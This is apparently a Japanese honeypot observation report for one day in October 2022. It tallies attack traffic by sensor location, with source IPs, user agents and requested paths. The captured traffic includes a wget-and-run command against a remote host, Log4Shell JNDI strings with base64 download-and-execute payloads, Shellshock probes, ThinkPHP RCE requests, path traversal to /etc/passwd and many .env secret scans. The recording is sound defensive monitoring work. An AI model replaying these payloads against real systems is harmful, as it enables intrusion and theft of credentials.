2022/10/06 ハニーポット(仮) 観測記録

ハニーポット(仮) 観測記録 2022/10/06分です。

特徴

共通

Apache Log4j2の脆弱性(CVE-2021-44228)を狙うアクセス
D-link製品の脆弱性を狙うアクセス
GPONルータの脆弱性を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
/.envへのスキャン行為

Location:JP

CensysInspectによるスキャン行為
curlによるスキャン行為
/.gitへのスキャン行為

を確認しました。

Location:US

Drupalの脆弱性(CVE-2018-7600)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
CensysInspectによるスキャン行為
Apache Solrへのスキャン行為

を確認しました。

Location:UK

ThinkPHPの脆弱性を狙うアクセス
CensysInspectによるスキャン行為
curlによるスキャン行為
Apache Solrへのスキャン行為
phpMyAdminへのスキャン行為
UserAgentがHello, Worldであるアクセス

を確認しました。

Location:SG

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
FortiOSの脆弱性(CVE-2018-13379)を狙うアクセス
Oracle WebLogicの脆弱性(CVE-2017-3506)を狙うアクセス
Oracle WebLogicの脆弱性(CVE-2018-2894)を狙うアクセス
ShellShock脆弱性(CVE-2014-7169)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
CensysInspectによるスキャン行為
Nessusによるスキャン行為
curlによるスキャン行為
.cssへのスキャン行為
.jsへのスキャン行為
/.gitへのスキャン行為
Apache Solrへのスキャン行為
WordPressへのスキャン行為
127.0.0.1に関する不正通信
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http://whitesecurity.xyz/674W0dF1.sh;
sh /tmp/674W0dF1.sh

他

アクセス数推移

JP：総アクセス数：134 (前日比：17)
US：総アクセス数：71 (前日比：7)
UK：総アクセス数：51 (前日比：-8)
SG：総アクセス数：1154 (前日比：1091)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	3.231.213.129	United States
1	15.207.105.136	United States
71	20.25.226.161	United States
1	20.86.63.84	United States
1	36.110.211.2	China
2	36.110.214.194	China
1	36.110.214.195	China
2	51.77.247.119	France
3	64.225.55.187	United States
2	68.183.132.61	United States
1	81.161.229.120	Bulgaria
1	89.179.126.151	Russia
1	92.255.85.184	Hong Kong
6	95.214.235.205	Ukraine
1	103.168.205.104	India
1	120.85.112.140	China
1	134.209.77.217	United States
9	135.125.217.54	France
8	135.125.246.189	France
2	138.197.105.234	United States
1	161.35.213.88	United States
1	167.94.145.59	United States
1	167.94.146.58	United States
1	167.99.144.251	United States
2	174.138.1.136	United States
1	178.128.246.235	United States
2	183.136.225.46	China
5	185.254.196.115	Ukraine
1	198.235.24.44	United States
1	205.210.31.153	United States
2	206.81.11.67	United States

UserAgent一覧

件数	UserAgent
14	-
1	Go-http-client/1.1
70	Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0
1	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
2	Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE
1	Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20130401 Firefox/21.0
1	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36
32	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
2	Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
1	Wget/1.21
3	curl/7.29.0
1	python-requests/2.28.1
1	t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//159[.]89[.]93[.]208:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IHdnZXQgaHR0cDovLzE5Mi4yNDEuMTM3LjE1Ni9jMHIwbjR4LnNoOyBjdXJsIC1PIGh0dHA6Ly8xOTIuMjQxLjEzNy4xNTYvYzByMG40eC5zaDsgY2htb2QgNzc3IGMwcjBuNHguc2g7IHNoIGMwcjBuNHguc2g7IHRmdHAgMTkyLjI0MS4xMzcuMTU2IC1jIGdldCBjMHIwbjR4LnNoOyBjaG1vZCA3NzcgYzByMG40eC5zaDsgc2ggYzByMG40eC5zaDsgdGZ0cCAtciBjMHIwbjR4Mi5zaCAtZyAxOTIuMjQxLjEzNy4xNTY7IGNobW9kIDc3NyBjMHIwbjR4Mi5zaDsgc2ggYzByMG40eDIuc2g7IGZ0cGdldCAtdiAtdSBhbm9ueW1vdXMgLXAgYW5vbnltb3VzIC1QIDIxIDE5Mi4yNDEuMTM3LjE1NiBjMHIwbjR4MS5zaCBjMHIwbjR4MS5zaDsgc2ggYzByMG40eDEuc2g7IHJtIC1yZiBjMHIwbjR4LnNoIGMwcjBuNHguc2ggYzByMG40eDIuc2ggYzByMG40eDEuc2g7IHJtIC1yZiAq}')
2	t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//204[.]48[.]22[.]99:1389/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMjA5LjE0MS41MS4xNzAvOFVzQS5zaDsgY3VybCAtTyBodHRwOi8vMjA5LjE0MS41MS4xNzAvOFVzQS5zaDsgY2htb2QgNzc3IDhVc0Euc2g7IHNoIDhVc0Euc2g7IHJtIC1yZiA4VXNBLnNo}')

リクエスト内容一覧

件数	Method	Request	Protocol
1		\x03
10		\x16\x03\x01
1		bc\xb3\xa2\n
1		m_\xb0\x0f%)a2\x10\x86\xdf\x88o\x87}\xd9_\xa3K\xbe\x7f\x87\t\xbe\xc5\v\xc8\x15s\x87\t\xbe~\x83K\xbe\x7f\x87\n
1	CONNECT	mkzaim[.]ru:443	HTTP/1.1
1	GET	/.env.development	HTTP/1.1
1	GET	/.env.dist	HTTP/1.1
1	GET	/.env.old	HTTP/1.1
1	GET	/.env.prod	HTTP/1.1
1	GET	/.env.production	HTTP/1.1
1	GET	/.env.project	HTTP/1.1
1	GET	/.env.save	HTTP/1.1
33	GET	/.env	HTTP/1.1
2	GET	/.git/config	HTTP/1.1
1	GET	/.json	HTTP/1.1
1	GET	/:80:undefined?id=	HTTP/1.1
2	GET	/:undefined	HTTP/1.1
1	GET	/?phpinfo=1	HTTP/1.1
1	GET	/_profiler/phpinfo	HTTP/1.1
1	GET	/admin-app/.env	HTTP/1.1
1	GET	/api/.env	HTTP/1.1
1	GET	/app/.env	HTTP/1.1
1	GET	/application/.env	HTTP/1.1
1	GET	/apps/.env	HTTP/1.1
1	GET	/back/.env	HTTP/1.1
1	GET	/cms/.env	HTTP/1.1
1	GET	/config.json	HTTP/1.1
1	GET	/core/.env	HTTP/1.1
1	GET	/cp/.env	HTTP/1.1
1	GET	/debug/default/view?panel=config	HTTP/1.1
1	GET	/development/.env	HTTP/1.1
1	GET	/docker/.env	HTTP/1.1
1	GET	/enviroments/.env.production	HTTP/1.1
1	GET	/enviroments/.env	HTTP/1.1
4	GET	/favicon.ico	HTTP/1.1
1	GET	/fedex/.env	HTTP/1.1
1	GET	/frontend_dev.php/$	HTTP/1.1
1	GET	/info.php	HTTP/1.1
1	GET	/laravel/.env	HTTP/1.1
1	GET	/live_env	HTTP/1.1
1	GET	/local/.env	HTTP/1.1
1	GET	/phpMyAdmin-2.10.0.2/scripts/setup.php	HTTP/1.1
1	GET	/phpMyAdmin-2.10.2/scripts/setup.php	HTTP/1.1
1	GET	/phpMyAdmin-2.11.1.2/scripts/setup.php	HTTP/1.1
1	GET	/phpMyAdmin-2/scripts/setup.php	HTTP/1.1
1	GET	/phpinfo.php	HTTP/1.1
1	GET	/private/.env	HTTP/1.1
1	GET	/rest/.env	HTTP/1.1
1	GET	/robots.txt	HTTP/1.1
1	GET	/script/.env	HTTP/1.1
1	GET	/shared/.env	HTTP/1.1
1	GET	/sources/.env	HTTP/1.1
1	GET	/system/.env	HTTP/1.1
1	GET	/user/login	HTTP/1.1
1	GET	/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	POST	/.env.development	HTTP/1.1
1	POST	/.env.dist	HTTP/1.1
1	POST	/.env.old	HTTP/1.1
1	POST	/.env.prod	HTTP/1.1
1	POST	/.env.production	HTTP/1.1
1	POST	/.env.project	HTTP/1.1
1	POST	/.env.save	HTTP/1.1
1	POST	/.env	HTTP/1.1
1	POST	/HNAP1/	HTTP/1.0
1	POST	/admin-app/.env	HTTP/1.1
1	POST	/api/.env	HTTP/1.1
1	POST	/app/.env	HTTP/1.1
1	POST	/application/.env	HTTP/1.1
1	POST	/apps/.env	HTTP/1.1
1	POST	/back/.env	HTTP/1.1
1	POST	/boaform/admin/formLogin	HTTP/1.1
1	POST	/cms/.env	HTTP/1.1
1	POST	/core/.env	HTTP/1.1
1	POST	/cp/.env	HTTP/1.1
1	POST	/development/.env	HTTP/1.1
1	POST	/docker/.env	HTTP/1.1
1	POST	/enviroments/.env.production	HTTP/1.1
1	POST	/enviroments/.env	HTTP/1.1
1	POST	/fedex/.env	HTTP/1.1
1	POST	/laravel/.env	HTTP/1.1
1	POST	/live_env	HTTP/1.1
1	POST	/local/.env	HTTP/1.1
1	POST	/private/.env	HTTP/1.1
1	POST	/rest/.env	HTTP/1.1
1	POST	/script/.env	HTTP/1.1
1	POST	/shared/.env	HTTP/1.1
1	POST	/sources/.env	HTTP/1.1
1	POST	/system/.env	HTTP/1.1

Location:US

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	45.61.185.76	United States
1	46.19.141.122	Panama
2	46.101.72.199	United States
18	51.79.29.48	Canada
4	54.37.79.75	France
1	67.205.131.49	United States
1	68.183.113.226	United States
1	78.142.18.92	Bulgaria
1	79.110.62.189	Bulgaria
1	79.154.53.171	Spain
2	80.66.88.204	Russia
1	81.161.229.120	Bulgaria
2	138.197.13.209	United States
6	152.89.196.211	Russia
1	157.245.219.179	United States
2	162.142.125.7	United States
2	162.142.125.9	United States
2	167.94.138.60	United States
1	167.99.144.251	United States
1	172.93.213.169	United States
1	178.214.245.208	Russia
3	183.136.225.35	China
9	185.254.196.223	Ukraine
1	192.241.217.115	United States
1	193.142.146.35	Germany
2	194.165.16.78	Panama
1	198.235.24.141	United States
1	205.210.31.169	United States
1	212.23.222.167	Poland

UserAgent一覧

件数	UserAgent
16	-
1	Go-http-client/1.1
3	Mozila/5.0
1	Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
1	Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-us) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7
6	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
3	Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE
32	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
2	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
3	Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
1	python-requests/2.18.4
1	python-requests/2.27.1
1	t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//159[.]89[.]93[.]208:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IHdnZXQgaHR0cDovLzE5Mi4yNDEuMTM3LjE1Ni9jMHIwbjR4LnNoOyBjdXJsIC1PIGh0dHA6Ly8xOTIuMjQxLjEzNy4xNTYvYzByMG40eC5zaDsgY2htb2QgNzc3IGMwcjBuNHguc2g7IHNoIGMwcjBuNHguc2g7IHRmdHAgMTkyLjI0MS4xMzcuMTU2IC1jIGdldCBjMHIwbjR4LnNoOyBjaG1vZCA3NzcgYzByMG40eC5zaDsgc2ggYzByMG40eC5zaDsgdGZ0cCAtciBjMHIwbjR4Mi5zaCAtZyAxOTIuMjQxLjEzNy4xNTY7IGNobW9kIDc3NyBjMHIwbjR4Mi5zaDsgc2ggYzByMG40eDIuc2g7IGZ0cGdldCAtdiAtdSBhbm9ueW1vdXMgLXAgYW5vbnltb3VzIC1QIDIxIDE5Mi4yNDEuMTM3LjE1NiBjMHIwbjR4MS5zaCBjMHIwbjR4MS5zaDsgc2ggYzByMG40eDEuc2g7IHJtIC1yZiBjMHIwbjR4LnNoIGMwcjBuNHguc2ggYzByMG40eDIuc2ggYzByMG40eDEuc2g7IHJtIC1yZiAq}')

リクエスト内容一覧

件数	Method	Request	Protocol
1		MGLNDD_34.68.118.83_80\n
1		M\x19\x90\xc05$\xfa<R\xa1\xa3U3\x95\x1f\xb8D\xa2\xca5d\x86\x885\xde\n
4		\x03
7		\x16\x03\x01
1	CONNECT	google[.]com:443	HTTP/1.1
34	GET	/.env	HTTP/1.1
1	GET	/:80:undefined?id=	HTTP/1.1
1	GET	/?XDEBUG_SESSION_START=phpstorm	HTTP/1.1
5	GET	/favicon.ico	HTTP/1.1
1	GET	/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21	HTTP/1.1
1	GET	/robots.txt	HTTP/1.1
1	GET	/solr/admin/info/system?wt=json	HTTP/1.1
1	GET	/user/login	HTTP/1.1
1	GET	/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	POST	/Autodiscover/Autodiscover.xml	HTTP/1.1
3	POST	/HNAP1/	HTTP/1.1
2	POST	/boaform/admin/formLogin	HTTP/1.1
1	POST	/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax	HTTP/1.1
1	POST	/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
3	PRI	*	HTTP/2.0

Location:UK

送信元IPアドレス一覧

件数	送信元IPアドレス	国
5	36.110.214.194	China
1	36.110.214.195	China
1	45.61.185.76	United States
1	46.19.141.122	Panama
1	64.62.197.184	United States
1	66.240.192.82	United States
1	68.66.164.26	United States
1	78.142.18.92	Bulgaria
1	81.161.229.120	Bulgaria
2	88.214.43.215	Turkey
2	90.151.171.106	Russia
1	91.234.63.243	Russia
1	117.208.239.191	India
1	120.85.115.52	China
1	134.209.75.19	United States
6	152.89.196.211	Russia
2	167.94.138.46	United States
1	167.99.144.251	United States
1	172.105.89.161	United States
4	183.136.225.35	China
1	185.225.73.174	Bulgaria
8	185.254.196.223	Ukraine
1	192.241.213.152	United States
1	198.235.24.16	United States
4	203.76.241.10	China
1	204.48.24.100	United States

UserAgent一覧

件数	UserAgent
12	-
1	Go-http-client/1.1
1	Hello, World
1	Mozila/5.0
1	Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
1	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko)
6	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1	Mozilla/5.0 (Windows NT 5.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1
4	Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE
2	Mozilla/5.0 (Windows NT 6.1; rv:16.0) Gecko/20100101 Firefox/16.0 (+https[:]//best-proxies.ru/faq/#from)
10	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
2	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
1	Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
4	Wget/1.21
2	curl/7.29.0
1	t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//159[.]89[.]93[.]208:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IHdnZXQgaHR0cDovLzE5Mi4yNDEuMTM3LjE1Ni9jMHIwbjR4LnNoOyBjdXJsIC1PIGh0dHA6Ly8xOTIuMjQxLjEzNy4xNTYvYzByMG40eC5zaDsgY2htb2QgNzc3IGMwcjBuNHguc2g7IHNoIGMwcjBuNHguc2g7IHRmdHAgMTkyLjI0MS4xMzcuMTU2IC1jIGdldCBjMHIwbjR4LnNoOyBjaG1vZCA3NzcgYzByMG40eC5zaDsgc2ggYzByMG40eC5zaDsgdGZ0cCAtciBjMHIwbjR4Mi5zaCAtZyAxOTIuMjQxLjEzNy4xNTY7IGNobW9kIDc3NyBjMHIwbjR4Mi5zaDsgc2ggYzByMG40eDIuc2g7IGZ0cGdldCAtdiAtdSBhbm9ueW1vdXMgLXAgYW5vbnltb3VzIC1QIDIxIDE5Mi4yNDEuMTM3LjE1NiBjMHIwbjR4MS5zaCBjMHIwbjR4MS5zaDsgc2ggYzByMG40eDEuc2g7IHJtIC1yZiBjMHIwbjR4LnNoIGMwcjBuNHguc2ggYzByMG40eDIuc2ggYzByMG40eDEuc2g7IHJtIC1yZiAq}')
1	t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//204[.]48[.]22[.]99:1389/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMjA5LjE0MS41MS4xNzAvOFVzQS5zaDsgY3VybCAtTyBodHRwOi8vMjA5LjE0MS41MS4xNzAvOFVzQS5zaDsgY2htb2QgNzc3IDhVc0Euc2g7IHNoIDhVc0Euc2g7IHJtIC1yZiA4VXNBLnNo}')

リクエスト内容一覧

件数	Method	Request	Protocol
1		MGLNDD_132.145.66.34_80\n
1		\x16\x03\x01\x01H\x01
2		\x16\x03\x01
1		\xba\xabd\xa1EZC\xdbM\x87\xee^\xfd\xbf\x159	X\xd4>\x12\x98\xc4<\xe0\x13\xcf
1	CONNECT	google[.]com:443	HTTP/1.1
1	CONNECT	ip[.]bablosoft[.]com:443	HTTP/1.1
11	GET	/.env	HTTP/1.1
1	GET	/:80:undefined?id=	HTTP/1.1
1	GET	/:undefined	HTTP/1.1
1	GET	/?XDEBUG_SESSION_START=phpstorm	HTTP/1.1
1	GET	/boaform/admin/formLogin?username=ec8&psd=ec8	HTTP/1.0
1	GET	/db/scripts/setup.php	HTTP/1.1
4	GET	/favicon.ico	HTTP/1.1
1	GET	/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21	HTTP/1.1
1	GET	/myadmin/scripts/setup.php	HTTP/1.1
1	GET	/phpMyAdmin-2.11.1.2/scripts/setup.php	HTTP/1.1
1	GET	/phpMyAdmin-2.11.3/scripts/setup.php	HTTP/1.1
1	GET	/phpMyAdmin-2.11.4/scripts/setup.php	HTTP/1.1
1	GET	/phpMyAdmin-2/scripts/setup.php	HTTP/1.1
2	GET	/robots.txt	HTTP/1.1
1	GET	/solr/admin/info/system?wt=json	HTTP/1.1
1	GET	/user/login	HTTP/1.1
1	GET	/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	http[:]//132[.]145[.]66[.]34:80/db/scripts/setup.php	HTTP/1.0
1	GET	http[:]//132[.]145[.]66[.]34:80/mysql/scripts/setup.php	HTTP/1.0
1	GET	http[:]//132[.]145[.]66[.]34:80/phpMyAdmin/scripts/setup.php	HTTP/1.0
1	GET	http[:]//132[.]145[.]66[.]34:80/pma/scripts/setup.php	HTTP/1.0
1	GET	http[:]//ip[.]bablosoft[.]com/?Z72612114222Q1	HTTP/1.1
1	POST	/Autodiscover/Autodiscover.xml	HTTP/1.1
1	POST	/GponForm/diag_Form?images/	HTTP/1.1
1	POST	/HNAP1/	HTTP/1.0
1	POST	/HNAP1/	HTTP/1.1
2	POST	/boaform/admin/formLogin	HTTP/1.1
1	POST	/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	PRI	*	HTTP/2.0

Location:SG

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1043	14.143.114.10	India
7	20.172.195.89	United States
14	23.94.236.146	United States
1	24.198.208.105	United States
1	45.61.187.18	United States
3	45.77.239.190	United States
2	45.227.254.26	Belize
2	45.227.254.49	Belize
1	46.19.141.122	Panama
2	51.222.194.232	Canada
22	54.37.79.75	France
1	74.117.198.11	United States
1	81.161.229.120	Bulgaria
1	87.236.176.6	Belgium
29	104.156.155.29	United States
1	128.199.157.83	United Kingdom
5	152.89.196.211	Russia
1	157.230.234.124	United States
1	157.245.219.206	United States
2	162.142.125.212	United States
2	167.71.233.26	United States
2	167.94.145.60	United States
1	167.99.144.251	United States
1	171.234.148.130	Vietnam
1	172.105.89.161	United States
1	184.105.247.252	United States
1	185.220.101.172	Germany
1	192.241.215.83	United States
1	193.142.146.35	Germany
1	198.235.24.25	United States
1	205.210.31.151	United States
1	209.127.97.87	Canada

UserAgent一覧

件数	UserAgent
69	${jndi:ldap://log4shell-generic-bVTtVfhJzMHO2HpaOeIY${lower:ten}.w.nessus.org/nessus}
70	() { _; } >_[$($())] { echo Content-Type: text/plain ; echo ; echo \"bash_cve_2014_6278 Output : $((66+22))\"; }
69	() { ignored; }; echo Content-Type: text/plain ; echo ; echo \"bash_cve_2014_6271_rce Output : $((15+83))\"
50	-
1	Hello, world
2	Mozila/5.0
788	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
1	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.79 Safari/537.36
5	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
14	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95
3	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
1	Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
27	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95
1	Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
2	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
2	Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
1	Nessus SOAP v0.0.1 (Nessus.org)
13	Nessus
28	curl/7.54.0
1	t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//159[.]89[.]93[.]208:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IHdnZXQgaHR0cDovLzE5Mi4yNDEuMTM3LjE1Ni9jMHIwbjR4LnNoOyBjdXJsIC1PIGh0dHA6Ly8xOTIuMjQxLjEzNy4xNTYvYzByMG40eC5zaDsgY2htb2QgNzc3IGMwcjBuNHguc2g7IHNoIGMwcjBuNHguc2g7IHRmdHAgMTkyLjI0MS4xMzcuMTU2IC1jIGdldCBjMHIwbjR4LnNoOyBjaG1vZCA3NzcgYzByMG40eC5zaDsgc2ggYzByMG40eC5zaDsgdGZ0cCAtciBjMHIwbjR4Mi5zaCAtZyAxOTIuMjQxLjEzNy4xNTY7IGNobW9kIDc3NyBjMHIwbjR4Mi5zaDsgc2ggYzByMG40eDIuc2g7IGZ0cGdldCAtdiAtdSBhbm9ueW1vdXMgLXAgYW5vbnltb3VzIC1QIDIxIDE5Mi4yNDEuMTM3LjE1NiBjMHIwbjR4MS5zaCBjMHIwbjR4MS5zaDsgc2ggYzByMG40eDEuc2g7IHJtIC1yZiBjMHIwbjR4LnNoIGMwcjBuNHguc2ggYzByMG40eDIuc2ggYzByMG40eDEuc2g7IHJtIC1yZiAq}')

リクエスト内容一覧

件数	Method	Request	Protocol
1		-
1		GNUTELLA	CONNECT/0.6
1		GNUTELLA	CONNECT/0.4
1		H=\t\x81e\xef\xe5\xb1Ad\r\xfc\x04}\tY\xca*\x89\xbc\xea\x0e\xcb\xbcP\x82
1		MGLNDD_13.67.44.234_80
4		\x03
1		\x16\x03\x01\x02\xb2\x01
5		\x16\x03\x01\x02
10		\x16\x03\x01
2		\x16\x03
1		\xba\xabd\xa1EZC\xdbM\x87\xee^\xfd\xbf\x159	X\xd4>\x12\x98\xc4<\xe0\x13\xcf
1	GET	%.	HTTP/1.1
1	GET	%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwinnt%5cwin.ini	HTTP/1.1
1	GET	../../../../../../../../../../../../windows/win.ini	HTTP/1.1
1	GET	../../../../../../../../../../../../winnt/win.ini	HTTP/1.1
1	GET	..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini	HTTP/1.1
1	GET	..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini	HTTP/1.1
1	GET	..\\..\\..\\..\\..\\..\\windows\\win.ini	HTTP/1.1
1	GET	..\\..\\..\\..\\..\\..\\winnt\\win.ini	HTTP/1.1
1	GET	././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../../	HTTP/1.1
1	GET	.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\/windows/win.ini	HTTP/1.1
1	GET	.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\/winnt/win.ini	HTTP/1.1
1	GET	/#	HTTP/1.1
1	GET	/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd	HTTP/1.1
1	GET	/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini	HTTP/1.1
1	GET	/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd	HTTP/1.1
1	GET	/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/windows/win.ini	HTTP/1.1
1	GET	/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/winnt/win.ini	HTTP/1.1
1	GET	/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd	HTTP/1.1
1	GET	/%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\windows\\win.ini	HTTP/1.1
